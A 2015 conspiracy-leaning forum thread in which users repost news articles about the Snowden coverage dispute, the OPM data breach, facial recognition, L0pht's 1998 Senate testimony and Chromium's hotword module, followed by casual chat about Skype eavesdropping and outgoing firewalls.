Post by: space otter on June 14, 2015, 12:12:57 pm


seeing the above article this morning made me wonder how long this next article would take to show..lol..not long


ahhhh the media.. who to believe.....who owns it ?  hummmmmmmm



this headline



http://www.huffingtonpost.com/

'Sunday Times' Snowden Story Is Example Of Journalism At Its Worst


takes you to this article


https://firstlook.org/theintercept/2015/06/14/sunday-times-report-snowden-files-journalism-worst-also-filled-falsehoods/

The Sunday Times’ Snowden Story is Journalism at its Worst — and Filled with Falsehoods

By Glenn Greenwald ?

Western journalists claim that the big lesson they learned from their key role in selling the Iraq War to the public is that it’s hideous, corrupt and often dangerous journalism to give anonymity to government officials to let them propagandize the public, then uncritically accept those anonymously voiced claims as Truth. But they’ve learned no such lesson. That tactic continues to be the staple of how major US and British media outlets “report,” especially in the national security area. And journalists who read such reports continue to treat self-serving decrees by unnamed, unseen officials – laundered through their media – as gospel, no matter how dubious are the claims or factually false is the reporting.
We now have one of the purest examples of this dynamic. Last night, the Murdoch-owned Sunday Times published their lead front-page Sunday article, headlined “British Spies Betrayed to Russians and Chinese.” Just as the conventional media narrative was shifting to pro-Snowden sentiment in the wake of a key court ruling and a new surveillance law, the article (behind a paywall: full text here) claims in the first paragraph that these two adversaries “have cracked the top-secret cache of files stolen by the fugitive US whistleblower Edward Snowden, forcing MI6 to pull agents out of live operations in hostile countries, according to senior officials in Downing Street, the Home Office and the security services.” It continues:


Western intelligence agencies say they have been forced into the rescue operations after Moscow gained access to more than 1m classified files held by the former American security contractor, who fled to seek protection from Vladimir Putin, the Russian president, after mounting one of the largest leaks in US history.

Senior government sources confirmed that China had also cracked the encrypted documents, which contain details of secret intelligence techniques and information that could allow British and American spies to be identified.

One senior Home Office official accused Snowden of having “blood on his hands”, although Downing Street said there was “no evidence of anyone being harmed”.

Aside from the serious retraction-worthy fabrications on which this article depends – more on those in a minute – the entire report is a self-negating joke. It reads like a parody I might quickly whip up in order to illustrate the core sickness of western journalism.

Unless he cooked an extra-juicy steak, how does Snowden “have blood on his hands” if there is “no evidence of anyone being harmed?” As one observer put it last night in describing the government instructions these Sunday Times journalists appear to have obeyed: “There’s no evidence anyone’s been harmed but we’d like the phrase ‘blood on his hands’ somewhere in the piece.”

The whole article does literally nothing other than quote anonymous British officials. It gives voice to banal but inflammatory accusations that are made about every whistleblower from Daniel Ellsberg to Chelsea Manning. It offers zero evidence or confirmation for any of its claims. The “journalists” who wrote it neither questioned any of the official assertions nor even quoted anyone who denies them. It’s pure stenography of the worst kind: some government officials whispered these inflammatory claims in our ears and told us to print them, but not reveal who they are, and we’re obeying. Breaking!

Stephen Colbert captured this exact pathology with untoppable precision in his 2006 White House Correspondents speech, when he mocked American journalism to the faces of those who practice it:


But, listen, let’s review the rules. Here’s how it works.The President makes decisions. He’s the decider. The press secretary announces those decisions, and you people of the press type those decisions down. Make, announce, type. Just put ’em through a spell check and go home. Get to know your family again. Make love to your wife. Write that novel you got kicking around in your head. You know, the one about the intrepid Washington reporter with the courage to stand up to the administration? You know, fiction!

The Sunday Times article is even worse because it protects the officials they’re serving with anonymity. The beauty of this tactic is that the accusations can’t be challenged. The official accusers are being hidden by the journalists so nobody can confront them or hold them accountable when it turns out to be false. The evidence can’t be analyzed or dissected because there literally is none: they just make the accusation and, because they’re state officials, their media-servants will publish it with no evidence needed. And as is always true, there is no way to prove the negative. It’s like being smeared by a ghost with a substance that you can’t touch.

This is the very opposite of journalism. Ponder how dumb someone has to be at this point to read an anonymous government accusation, made with zero evidence, and accept it as true.

But it works. Other news agencies mindlessly repeated the Sunday Times claims far and wide. I watched last night as American and British journalists of all kinds reacted to the report on Twitter: by questioning none of it. They did the opposite: they immediately assumed it to be true, then spent hours engaged in somber, self-serious discussions with one another over what the geopolitical implications are, how the breach happened, what it means for Snowden, etc. This is the formula that shapes their brains: anonymous self-serving government assertions = Truth.

By definition, authoritarians reflexively believe official claims – no matter how dubious or obviously self-serving, even when made while hiding behind anonymity – because that’s how their submission functions. Journalists who practice this sort of primitive reporting – I uncritically print what government officials tell me, and give them anonymity so they have no accountability for any it – do so out of a similar authoritarianism, or uber-nationalism, or laziness, or careerism. Whatever the motives, the results are the same: government officials know they can propagandize the public at any time because subservient journalists will give them anonymity to do so and will uncritically disseminate and accept their claims.

At this point, it’s hard to avoid the conclusion that journalists want it this way. It’s impossible that they don’t know better. The exact kinds of accusations laundered in the Sunday Times today are made – and then disproven – in every case where someone leaks unflattering information about government officials.


In the early 1970s, Nixon officials such as John Ehrlichman and Henry Kissinger planted accusations in the U.S. media that Daniel Ellsberg had secretly given the Pentagon Papers and other key documents to the Soviet Union; everyone now knows this was a lie, but at the time, American journalists repeated it constantly, helping to smear Ellsberg. That’s why Ellsberg has constantly defended Snowden and Chelsea Manning from the start: because the same tactics were used to smear him.

pics of old news papers here

The same thing happened with Chelsea Manning. When WikiLeaks first began publishing the Afghan War logs, U.S. officials screamed that they – all together now – had “blood on their hands.” But when some journalists decided to scrutinize rather than mindlessly repeat the official accusation (i.e., some decided to do journalism), they found it was a fabrication.



Writing under the headline “US officials privately say WikiLeaks damage limited,” Reuters’ Mark Hosenball reported that “internal U.S. government reviews have determined that a mass leak of diplomatic cables caused only limited damage to U.S. interests abroad, despite the Obama administration’s public statements to the contrary.”

An AP report was headlined “AP review finds no WikiLeaks sources threatened,” and explained that “an Associated Press review of those sources raises doubts about the scope of the danger posed by WikiLeaks’ disclosures and the Obama administration’s angry claims, going back more than a year, that the revelations are life-threatening.” Months earlier, McClatchy’s Nancy Youssef wrote an article headlined “Officials may be overstating the dangers from WikiLeaks,” and she noted that “despite similar warnings ahead of the previous two massive releases of classified U.S. intelligence reports by the website, U.S. officials concede that they have no evidence to date that the documents led to anyone’s death.”

Now we have exactly the same thing here. There’s an anonymously made claim that Russia and China “cracked the top-secret cache of files” from Snowden’s, but there is literally zero evidence for that claim. These hidden officials also claim that American and British agents were unmasked and had to be rescued, but not a single one is identified. There is speculation that Russia and China learned things from obtaining the Snowden files, but how could these officials possibly know that, particularly since other government officials are constantly accusing both countries of successfully hacking sensitive government databases?

What kind of person would read evidence-free accusations of this sort from anonymous government officials – designed to smear a whistleblower they hate – and believe them? That’s a particularly compelling question given that Vice’s Jason Leopold just last week obtained and published previously secret documents revealing a coordinated smear campaign in Washington to malign Snowden. Describing those documents, he reported: “A bipartisan group of Washington lawmakers solicited details from Pentagon officials that they could use to ‘damage’ former NSA contractor Edward Snowden’s ‘credibility in the press and the court of public opinion.'”

Manifestly then, the “journalism” in this Sunday Times articles is as shoddy and unreliable as it gets. Worse, its key accusations depend on retraction-level lies.

The government accusers behind this story have a big obstacle to overcome: namely, Snowden has said unequivocally that when he left Hong Kong, he took no files with him, having given them to the journalists with whom he worked, and then destroying his copy precisely so that it wouldn’t be vulnerable as he traveled. How, then, could Russia have obtained Snowden’s files as the story claims – “his documents were encrypted but they weren’t completely secure ” – if he did not even have physical possession of them?

The only way this smear works is if they claim Snowden lied, and that he did in fact have files with him after he left Hong Kong. The Sunday Times journalists thus include a paragraph that is designed to prove Snowden lied about this, that he did possess these files while living in Moscow:


It is not clear whether Russia and China stole Snowden’s data, or whether he voluntarily handed over his secret documents in order to remain at liberty in Hong Kong and Moscow.

David Miranda, the boyfriend of the Guardian journalist Glenn Greenwald, was seized at Heathrow in 2013 in possession of 58,000 “highly classified” intelligence documents after visiting Snowden in Moscow.

What’s the problem with that Sunday Times passage? It’s an utter lie. David did not visit Snowden in Moscow before being detained. As of the time he was detained in Heathrow, David had never been to Moscow and had never met Snowden. The only city David visited on that trip before being detained was Berlin, where he stayed in the apartment of Laura Poitras.

The Sunday Times “journalists” printed an outright fabrication in order to support their key point: that Snowden had files with him in Moscow. This is the only “fact” included in their story that suggests Snowden had files with him when he left Hong Kong, and it’s completely, demonstrably false (and just by the way: it’s 2015, not 1971, so referring to gay men in a 10-year spousal relationship with the belittling term “boyfriends” is just gross).

Then there’s the Sunday Times claim that “Snowden, a former contractor at the CIA and National Security Agency (NSA), downloaded 1.7m secret documents from western intelligence agencies in 2013.” Even the NSA admits this claim is a lie. The NSA has repeatedly said that it has no idea how many documents Snowden downloaded and has no way to find out. As the NSA itself admits, the 1.7 million number is not the number the NSA claims Snowden downloaded – they admit they don’t and can’t know that number – but merely the amount of documents he interacted with in his years of working at NSA. Here’s then-NSA chief Keith Alexander explaining exactly that in a 2014 interview with the Australian Financial Review:


AFR: Can you now quantify the number of documents [Snowden] stole?

Gen. Alexander: Well, I don’t think anybody really knows what he actually took with him, because the way he did it, we don’t have an accurate way of counting. What we do have an accurate way of counting is what he touched, what he may have downloaded, and that was more than a million documents.

Let’s repeat that: “I don’t think anybody really knows what he actually took with him, because the way he did it, we don’t have an accurate way of counting.” Yet someone whispered to the Sunday Times reporters that Snowden downloaded 1.7 million documents, so like the liars and propagandists that they are, they mindlessly printed it as fact. That’s what this whole article is.

Then there’s the claim that the Russian and Chinese governments learned the names of covert agents by cracking the Snowden file, “forcing MI6 to pull agents out of live operations in hostile countries.” This appears quite clearly to be a fabrication by the Sunday Times for purposes of sensationalism, because if you read the actual anonymous quotes they include, not even the anonymous officials claim that Russia and China hacked the entire archive, instead offering only vague assertions that Russian and China “have information.”

Beyond that, how could these hidden British officials possibly know that China and Russia learned things from the Snowden files as opposed to all the other hacking and spying those countries do? Moreover, as pointed out last night by my colleague Ryan Gallagher – who has worked for well over a year with the full Snowden archive – “I’ve reviewed the Snowden documents and I’ve never seen anything in there naming active MI6 agents.” He also said: “I’ve seen nothing in the region of 1m documents in the Snowden archive, so I don’t know where that number has come from.”

Finally, none of what’s in the Sunday Times is remotely new. US and UK government officials and their favorite journalists have tried for two years to smear Snowden with these same claims. In June, 2013, the New York Times gave anonymity to “two Western intelligence experts, who worked for major government spy agencies” who “said they believed that the Chinese government had managed to drain the contents of the four laptops that Mr. Snowden said he brought to Hong Kong.” The NYT‘s Public Editor chided the paper for printing that garbage, and as I reported in my book, then-editor-in-chief Jill Abramson told the Guardian‘s Janine Gibson that they should not have printed that, calling it “irresponsible.” (And that’s to say nothing of the woefully ignorant notion that Snowden – or anyone else these days – stores massive amounts of data on “four laptops” as opposed to tiny thumb drives).

The GOP’s right-wing extremist Congressman Mike Rogers constantly did the same thing. He once announced with no evidence that “Snowden is working with Russia” – a claim even former CIA Deputy Director Michael Morell denies – and also argued that Snowden should “be charged with murder” for causing unknown deaths. My personal favorite example of this genre of reckless, desperate smears is the Op-Ed which the Wall Street Journal published in May, 2014, by neocon Edward Jay Epstein, which had this still-hilarious paragraph:


A former member of President Obama’s cabinet went even further, suggesting to me off the record in March this year that there are only three possible explanations for the Snowden heist: 1) It was a Russian espionage operation; 2) It was a Chinese espionage operation, or 3) It was a joint Sino-Russian operation.

It must be one of those, an anonymous official told me! It must be! Either Russia did it. Or China did it. Or they did it together! That is American journalism.

The Sunday Times today merely recycled the same evidence-free smears that have been used by government officials for years – not only against Snowden, but all whistleblowers – and added a dose of sensationalism and then baked it with demonstrable lies. That’s just how western journalism works, and it’s the opposite of surprising. But what is surprising, and grotesque, is how many people (including other journalists) continue to be so plagued by some combination of stupidity and gullibility, so that no matter how many times this trick is revealed, they keep falling for it. If some anonymous government officials said it, and journalists repeat it while hiding who they are, I guess it must be true.

 

UPDATE: The Sunday Times has now quietly deleted one of the central, glaring lies in its story: that David Miranda had just met with Snowden in Moscow when he was detained at Heathrow carrying classified documents. By “quietly deleted,” I mean just that: they just removed it from their story without any indication or note to their readers that they’ve done so (though it remains in the print edition and thus requires a retraction). That’s indicative of the standard of “journalism” for the article itself. Multiple other falsehoods, and all sorts of shoddy journalistic practices, remain thus far unchanged.

Title: Re: they know what you are doing
Post by: space otter on June 15, 2015, 11:10:54 am
http://www.huffingtonpost.com/2015/06/15/us-data-hack_n_7584600.html?utm_hp_ref=technology&ir=Technology


Sex, Lies And Debt Potentially Exposed By U.S. Data Hack



 Reuters 
   Posted:  06/15/2015 8:00 am EDT    Updated:  3 hours ago


By Arshad Mohammed and Joseph Menn

WASHINGTON, June 15 (Reuters) - When a retired 51-year-old military man disclosed in a U.S. security clearance application that he had a 20-year affair with his former college roommate's wife, it was supposed to remain a secret between him and the government.

The disclosure last week that hackers had penetrated a database containing such intimate and possibly damaging facts about millions of government and private employees has shaken Washington.

The hacking of the White House Office of Personnel Management (OPM) could provide a treasure trove for foreign spies.

The military man's affair, divulged when he got a job with a defense contractor and applied to upgrade his clearance, is just one example of the extensive potential for disruption, embarrassment and even blackmail arising from the hacking.

The man had kept the affair secret from his wife for two decades before disclosing it on the government's innocuously named Standard Form 86 (SF 86), filled out by millions of Americans seeking security clearances.

His case is described in a judge's ruling, published on the Pentagon website, that he should keep his security clearance because he told the government about the affair. His name is not given in the administrative judge's decision.

The disclosure that OPM's data had been hacked sent shivers down the spines of current and former U.S. government officials as they realized their secrets about sex, drugs and money could be in the hands of a foreign government.

The data that may be compromised by the incident, which was first reported by the Associated Press, included the detailed personal information on the SF 86 "QUESTIONNAIRE FOR NATIONAL SECURITY POSITIONS," according to U.S. officials.


U.S. SUSPECTS LINK TO CHINA

As with another cyberattack on OPM disclosed earlier this month, U.S. officials suspect it was linked to China, though they have less confidence about the origins of the second attack than about the first.

China denies any involvement in hacking U.S. databases.

While the Central Intelligence Agency does its own clearance investigations, agencies such as the State Department, Defense Department and National Security Agency, which eavesdrops on the world, all use OPM's services to some degree.

Intelligence veterans said the breach may prove disastrous because China could use it to find relatives of U.S. officials abroad as well as evidence of love affairs or drug use which could be used to blackmail or influence U.S. officials.

An even worse scenario would be the mass unmasking of covert operatives in the field, they said.

"The potential loss here is truly staggering and, by the way, these records are a legitimate foreign intelligence target," said retired Gen. Michael Hayden, a former CIA and NSA director. "This isn't shame on China. This is shame on us."

The SF 86 form, which is 127-pages long, is extraordinarily comprehensive and intrusive.

Among other things, applicants must list where they have lived; contacts with foreign citizens and travel abroad; the names and personal details of relatives; illegal drug use and mental health counseling except in limited circumstances.

A review of appeals of security denials published on the web shows the variety of information now in possession of the hackers, including financial troubles, infidelities, psychiatric diagnoses, substance abuse, health issues and arrests.

"It's kind of scary that somebody could know that much about us," said a former senior U.S. diplomat, pointing out the ability to use such data to impersonate an American official online, obtain passwords and plunder bank accounts.


SOME AGENCIES LESS VULNERABLE

A U.S. official familiar with security procedures, but who declined to be identified, said some agencies do not use OPM for clearances, meaning their employees' data was at first glance less likely to have been compromised.

However, the former senior diplomat said someone with access to a complete set of SF 86 forms and to the names of officials at U.S. embassies, which are usually public, could compare the two and make educated guesses about who might be a spy.

"Negative information is an indicator just as much as a positive information," said the former diplomat.

A review of appeals of security denials published on the web shows a variety of information now in possession of the hackers, including financial troubles, infidelities, psychiatric diagnoses, substance abuse, health issues and arrests.

The case of the 51-year-old former military man who told the government, but not his wife, about his 20-year affair came to light when he filed an appeal because his effort to upgrade his security clearance ran into trouble.

According to a May 13 decision by an administrative judge who heard his case, the man revealed the affair in the "Additional Comments" section of SF 86 in January 2012, ended the affair in 2013, and told his wife about it in 2014.

"DOD (Department of Defense) is aware of the affair because Applicant disclosed it on his SF 86; the affair is over; and the key people in Applicant's life are aware of it," the judge wrote, according to a Defense Office of Hearings and Appeals document posted online.

His access to classified information was approved.

(Reporting by Arshad Mohammed in Washington and Joseph Menn in San Francisco; Additional reporting by Mark Hosenball; Editing by David Story and Sue Horton)
Title: Re: they know what you are doing
Post by: space otter on June 15, 2015, 04:52:35 pm

http://www.huffingtonpost.com/2015/06/15/homeland-security-data-breach_n_7589932.html


Nearly 400,000 Homeland Security Employees May Have Had Private Data Compromised



AP      |  By ALICIA A. CALDWELL 
  Posted:  06/15/2015 6:33 pm EDT    Updated:  46 minutes ago

WASHINGTON (AP) — As many as 390,000 current and former Homeland Security Department employees, contractors and job applicants may have had their private data compromised in a newly disclosed computer hack discovered last year.

DHS spokesman S.Y. Lee said internal notices about the data breach discovered in September at KeyPoint Government Solutions Inc. were sent to employees starting April 27. The KeyPoint hack is separate from the hacks of the Office of Personnel Management attacks disclosed earlier this month.

Notifications have taken longer for those outside the department. In a letter to one former job applicant dated June 5, the government advised that the data breach was "initially discovered in September." A copy of the letter was obtained by The Associated Press.

KeyPoint officials did not immediately respond to emailed requests for comment Monday.

Lee said the hack is a separate breach than one involving the same government contractor that was disclosed by the government in December.

The OPM acknowledged then that computer files of more than 48,000 government workers, including about 25,000 from DHS, may have been compromised.

The latest disclosure comes amid an ongoing investigation of a massive hack of government files held by OPM. The records of as many as 14 million current and former civilian government employees may have been compromised.

Title: Re: they know what you are doing
Post by: zorgon on June 16, 2015, 12:28:06 am
BWAHAHAHAHA

Hoisted by their own petard :P

What's good for us geese is also good for the gander :P
Title: Re: they know what you are doing
Post by: space otter on June 22, 2015, 02:27:43 pm


it's all in the name of making a profit by knowing who you are...phooie






Facial Recognition Technology Is Secretly Tracking You, Everywhere
 


 The Huffington Post    |  By  Damon Beres   
 
 Posted:  06/22/2015 3:20 pm EDT    Updated:  15 minutes ago

4 min vid at link
http://www.huffingtonpost.com/2015/06/22/facial-recognition_n_7637488.html




 
Facial recognition technology is becoming more and more widely used by social media platforms, advertisers and tech companies. But many of us don't know that our biological data is being collected, much less what it's being used for -- and there aren't a lot of guidelines to make sure these companies respect our privacy.

Advocacy groups including the American Civil Liberties Union have recently tried -- and failed -- to reach an agreement with trade groups about the use of technology that can recognize your facial features, identify you and sell you products. At stake is consumer privacy: You may unwittingly be marketed to (or tracked by law enforcement) without ever explicitly consenting to having your face used.

Concerns over such technology recently stopped Facebook's new "Moments" app from launching in Europe, but Americans are still very much subject to the possibility that companies may be collecting data that links their identity to their face.

A lot of us already turn this data over without thinking about it. Perhaps you frequently tag photos on Facebook -- the platform will come to recognize which of your friends a certain face belongs to. Or maybe you use Google Photos, which can tell when you're photographing the same person over and over, though it doesn't assign identifying information to them.

It may not seem like such a big deal when Facebook is recognizing people based on data they've already handed over. But the applications for this technology run a bit deeper. In a new segment on HuffPost Live, Engadgets's John Colucci says that a restaurant could, in theory, know to offer you booze because of all the online photos of you drinking. Or, a furniture shop might try to sell you a table made out of specific wood because of decisions you've made previously.

This sort of thing has been happening for years. But the concern is that it could be used on a more massive scale, before any baseline consumer protections are put in place.

For more, watch the video above.


Title: Re: they know what you are doing
Post by: zorgon on June 22, 2015, 06:00:06 pm
The Casinos have had facial recognition software for years
Title: Re: they know what you are doing
Post by: space otter on June 23, 2015, 06:06:17 am





gotta luv this line..lol


"I wish that you were as strenuous and hardworking at keeping information out of the hands of hacker as are at keeping information out of the hands of Congress."





First on CNN: U.S. data hack may be 4 times larger than the government originally said


By Evan Perez and Shimon Prokupecz, CNN
Updated 8:52 AM ET, Tue June 23, 2015



vid at link and many embedded links thru out the article

http://www.cnn.com/2015/06/22/politics/opm-hack-18-milliion/index.html




Washington (CNN)—The personal data of an estimated 18 million current, former and prospective federal employees were affected by a cyber breach at the Office of Personnel Management - more than four times the 4.2 million the agency has publicly acknowledged. The number is expected to grow, according to U.S. officials briefed on the investigation.



FBI Director James Comey gave the 18 million estimate in a closed-door briefing to Senators in recent weeks, using the OPM's own internal data, according to U.S. officials briefed on the matter. Those affected could include people who applied for government jobs, but never actually ended up working for the government.

Can Washington keep your data secure?

The same hackers who accessed OPM's data are believed to have last year breached an OPM contractor, KeyPoint Government Solutions, U.S. officials said. When the OPM breach was discovered in April, investigators found that KeyPoint security credentials were used to breach the OPM system.



Some investigators believe that after that intrusion last year, OPM officials should have blocked all access from KeyPoint, and that doing so could have prevented more serious damage. But a person briefed on the investigation says OPM officials don't believe such a move would have made a difference. That's because the OPM breach is believed to have pre-dated the KeyPoint breach. Hackers are also believed to have built their own backdoor access to the OPM system, armed with high-level system administrator access to the system. One official called it the "keys to the kingdom." KeyPoint did not respond to CNN's request for comment.



U.S. investigators believe the Chinese government is behind the cyber intrusion, which are considered the worst ever against the U.S. government.



Why would China hack the U.S. government?

OPM has so far stuck by the 4.2 million estimate, which is the number of people so far notified that their information was compromised. An agency spokesman said the investigation is ongoing and that it hasn't verified the larger number.



The actual number of people affected is expected to grow, in part because hackers accessed a database storing government forms used for security clearances, known as SF86 questionnaires, which contain the private information of multiple family members and associates for each government official affected, these officials said.



OPM officials are facing multiple congressional hearings this week on the hack and their response to it. There's growing frustration among lawmakers and government employees that the Obama administration's response has minimized the severity of breach.



OPM's internal auditors told a House Oversight and Government Affairs Committee last week that key databases housing sensitive national security data, including applications for background checks, had not met federal security standards.



"Not only was a large volume (11 out of 47 systems) of OPM's IT systems operating without a valid Authorization, but several of these systems are among the most critical and sensitive applications owned by the agency," Michael Esser, OPM's assistant inspector general for audits, wrote in testimony prepared for committee.

Katherine Archuleta, who leads OPM, is beginning to face heat for her agency's failure to protect key national security data -- highly prized by foreign intelligence agencies -- as well as for how slowly the agency has provided information.

Rep. Stephen Lynch, D-Mass., at a hearing last week told Archuleta: "I wish that you were as strenuous and hardworking at keeping information out of the hands of hacker as are at keeping information out of the hands of Congress."

How the U.S. thinks Russians hacked the White House


Title: Re: they know what you are doing
Post by: space otter on June 23, 2015, 06:27:03 am

very long and interesting article...go to link for the whole thing.. ;D





http://www.washingtonpost.com/sf/business/2015/06/22/net-of-insecurity-part-3/


Net of insecurity
 
A disaster foretold — and ignored

LOpht’s warnings about the Internet drew notice but little action

Story by Craig Timberg ?

Video by Jorge Ribas

Published on June 22, 2015



The making of a vulnerable Internet: This story is the third of a multi-part project on the Internet’s inherent vulnerabilities and why they may never be fixed.

Part 1: The story of how the Internet became so vulnerable
Part 2: The long life of a ‘quick fix’



The seven young men sitting before some of Capitol Hill’s most powerful lawmakers weren’t graduate students or junior analysts from some think tank. No, Space Rogue, Kingpin, Mudge and the others were hackers who had come from the mysterious environs of cyberspace to deliver a terrifying warning to the world.

Your computers, they told the panel of senators in May 1998, are not safe — not the software, not the hardware, not the networks that link them together. The companies that build these things don’t care, the hackers continued, and they have no reason to care because failure costs them nothing. And the federal government has neither the skill nor the will to do anything about it.



“If you’re looking for computer security, then the Internet is not the place to be,” said Mudge, then 27 and looking like a biblical prophet with long brown hair flowing past his shoulders. The Internet itself, he added, could be taken down “by any of the seven individuals seated before you” with 30 minutes of well-choreographed keystrokes.

The senators — a bipartisan group including John Glenn, Joseph I. Lieberman and Fred D. Thompson — nodded gravely, making clear that they understood the gravity of the situation. “We’re going to have to do something about it,” Thompson said.

What happened instead was a tragedy of missed opportunity, and 17 years later the world is still paying the price in rampant insecurity.

The testimony from L0pht, as the hacker group called itself, was among the most audacious of a rising chorus of warnings delivered in the 1990s as the Internet was exploding in popularity, well on its way to becoming a potent global force for communication, commerce and criminality.

Hackers and other computer experts sounded alarms as the World Wide Web brought the transformative power of computer networking to the masses. This created a universe of risks for users and the critical real-world systems, such as power plants, rapidly going online as well.


 


 

Officials in Washington and throughout the world failed to forcefully address these problems as trouble spread across cyberspace, a vast new frontier of opportunity and lawlessness. Even today, many serious online intrusions exploit flaws in software first built in that era, such as Adobe Flash, Oracle’s Java and Microsoft’s Internet Explorer.

“We have the same security problems,” said Space Rogue, whose real name is Cris Thomas. “There’s a lot more money involved. There’s a lot more awareness. But the same problems are still there.”

L0pht, born of the bustling hacker scene in the Boston area, rose to prominence as a flood of new software was introducing such wonders as sound, animation and interactive games to the Web. This software, which required access to the core functions of each user’s computer, also gave hackers new opportunities to manipulate machines from afar.

Breaking into networked computers became so easy that the Internet, long the realm of idealistic scientists and hobbyists, gradually grew infested with the most pragmatic of professionals: crooks, scam artists, spies and cyberwarriors. They exploited computer bugs for profit or other gain while continually looking for new vulnerabilities.

Tech companies sometimes scrambled to fix problems — often after hackers or academic researchers revealed them publicly — but few companies were willing to undertake the costly overhauls necessary to make their systems significantly more secure against future attacks. Their profits depended on other factors, such as providing consumers new features, not warding off hackers.

“In the real world, people only invest money to solve real problems, as opposed to hypothetical ones,” said Dan S. Wallach, a Rice University computer science professor who has been studying online threats since the 1990s. “The thing that you’re selling is not security. The thing that you’re selling is something else.”

The result was a culture within the tech industry often derided as “patch and pray.” In other words, keep building, keep selling and send out fixes as necessary. If a system failed — causing lost data, stolen credit card numbers or time-consuming computer crashes — the burden fell not on giant, rich tech companies but on their customers.

The members of L0pht say they often experienced this cavalier attitude in their day jobs, where some toiled as humble programmers or salesmen at computer stores. When they reported bugs to software makers, company officials often asked: Does anybody else know about this?


(http://www.washingtonpost.com/sf/wp-content/themes/wapo-blogs/inc/imrs.php?src=http://www.washingtonpost.com/sf/business/wp-content/uploads/sites/20/2015/06/hangingoutweb1.jpg&authapi-mob-redir=0&w=1200)

Members of L0pht, including, from left, Tan, Kingpin, Weld Pond, Mudge and Brian Oblivion, rented a van for their trip to Washington for their Senate testimony in May 1998.
 The hackers outside their hotel on the morning of their testimony: from left, Kingpin, Brian Oblivion, Weld Pond, Tan, Mudge (kneeling), Space Rogue and Stefan von Neumann



L0pht’s members — the exact list shifted year to year but averaged seven or eight — shared a fascination with technology and a knack for testing its limits. They would decode the program running a piece of hardware or repeatedly flood a password field with too many characters, a hack known as a “buffer overflow” that often caused systems to fail, opening the door to further manipulation.

“The difference between how it’s supposed to work and how it really works is where the vulnerabilities happen,” said Chris Wysopal, known as Weld Pond in his L0pht days

Title: Re: they know what you are doing
Post by: space otter on June 24, 2015, 06:54:29 am


wow.. guess a talk radio show on beside the computer should fuss em up a bit..bwhahahahahahah


Google eavesdropping tool installed on computers without permission


Privacy campaigners and open source developers are up in arms over the secret installing of Google software which is capable of listening in on conversations held in front of a computer.


First spotted by open source developers, the Chromium browser – the open source basis for Google’s Chrome – began remotely installing audio-snooping code that
was capable of listening to users.

It was designed to support Chrome’s new “OK, Google” hotword detection – which makes the computer respond when you talk to it – but was installed, and, some users have claimed, it is activated on computers without their permission.

“Without consent, Google’s code had downloaded a black box of code that – according to itself – had turned on the microphone and was actively listening to your room,” said Rick Falkvinge, the Pirate party founder, in a blog post. “Which means that your computer had been stealth configured to send what was being said in your room to somebody else, to a private company in another country, without your consent or knowledge, an audio transmission triggered by … an unknown and unverifiable set of conditions.”



The feature is installed by default as part of Google’s Chrome browser. But open source advocates are up in arms about it also being installed with the open source variant Chromium, because the listening code is considered to be “black box”, not part of the open source audit process.

“We don’t know and can’t know what this black box does,” said Falkvinge.

Opt-in or opt-out

Google responded to complaints via its developer boards. It said: “While we do download the hotword module on startup, we do not activate it unless you opt in to hotwording.”

However, reports from developers indicate otherwise.

After having identified Chromium as the culprit, developer Ofer Zelig said in a blog post: “While I was working I thought ‘I’m noticing that an LED goes on and off, on the corner of my eyesight [webcam]’. And after a few times when it just seemed weird, I sat to watch for it and saw it happening. Every few seconds or so.”

Google also blamed the Linux distribution Debian for downloading the non-open source component with Chromium automatically, rather than Google Chrome.

“The key here is that Chromium is not a Google product. We do not directly distribute it, or make any guarantees with respect to compliance with various open source policies,” Google developer mgiuca said.

Falkvinge countered Google’s explanations saying: “The default install will still wiretap your room without your consent, unless you opt out, and more importantly, know that you need to opt out, which is nowhere a reasonable requirement.” He says a hardware switch to disable the microphone and camera built into most computers is needed.

Voice search functions have become an accepted feature of modern smartphones, but their movement into the home through the smart TV, and now browser, have caused concerns over the possibility of being listened to within the home.

While most services require a user to opt in, privacy advocates have questioned whether their use, which requires sending voice recordings over the internet to company servers for processing, risks unintentionally exposing private conversations held within the home.

• Samsung’s voice-recording smart TVs breach privacy law, campaigners claim


The Guardian
Samuel Gibbs    7 hrs ago
http://www.msn.com/en-us/news/technology/google-eavesdropping-tool-installed-on-computers-without-permission/ar-AAc1CpO

Title: Re: they know what you are doing
Post by: zorgon on June 24, 2015, 11:05:05 am
Privacy campaigners and open source developers are up in arms over the secret installing of Google software which is capable of listening in on conversations held in front of a computer.

Not sure how that would work if you don't have a microphone attached. I have no mike or camera on my computer  I don't use skype. There is no built in listening device on a standard computer.

Besides when I talk with people its not with the computer on :P


HOWEVER

When John (Sgt R&R) and I  were over at John Lear's house and chatting, this Jeremy fellow that is supposedly making that movie with/for john just suddendly butted into the conversation... Freaked us out...  Seems he has access to all John's emails as well (John had mentioned to me before he wasn't getting all his mail... now I suspect I know why)  We did point out this to his wife so we shall see  but yesterday Jeremy made a post on John's facebook page AS JOHN  promoting the C2C show on this movie thing

The POINT is Jeremy was on Skype... We have NO IDEA how long he was listening in... He just suddenly started talking.  While he was talking to John Sgt and I discussed something  (I deliberately picked a certain topic)  Jeremy stopped speaking to listen... So I stopped... this happened twice....



So if Jeremy can do this  I am going to assume Google or anyone else can do this

A GOOD FIREWALL that monitors OUTGOING transmissions is essential for privacy  Most firewalls block INCOMING threats not outgoing.  Apps and scripts put onto your computer can 'dial out' as it were without you knowing... A good outgoing blocking firewall will stop that  (at least it will notify you what program is sending)  It is a little annoying at first until you set permissions for programs allowed to call out... but its's the only way to get privacy
Title: Re: they know what you are doing
Post by: Pimander on June 25, 2015, 05:35:55 am
Skype is Spyware.  I tried to tell you guys about three years ago. ::)
Title: Re: they know what you are doing
Post by: ArMaP on June 25, 2015, 01:55:53 pm
Skype is Spyware.  I tried to tell you guys about three years ago. ::)
Funny that it only happens to some people... ;D
Title: Re: they know what you are doing
Post by: space otter on June 25, 2015, 04:44:16 pm


Funny that it only happens to some people... ;D

yeah well I guess we aren't all worth recording.....are we..    (https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRZFScYNvOkqi_OR4SKhESt-jh0ABucXKG2UiouZNm9sJFN-1OM)


bwhahahahahahahahah
Title: Re: they know what you are doing
Post by: zorgon on June 25, 2015, 04:50:59 pm
Funny that it only happens to some people... ;D

Not at all :P WHY would it happen to everybody?  It is only people with an agenda that are going to do the spying and they have specific targets :P

No offence ArMaP  but a skeptic is not worth spying on :P
Title: Re: they know what you are doing
Post by: ArMaP on June 25, 2015, 05:10:01 pm
No offence ArMaP  but a skeptic is not worth spying on :P
;D
Title: Re: they know what you are doing
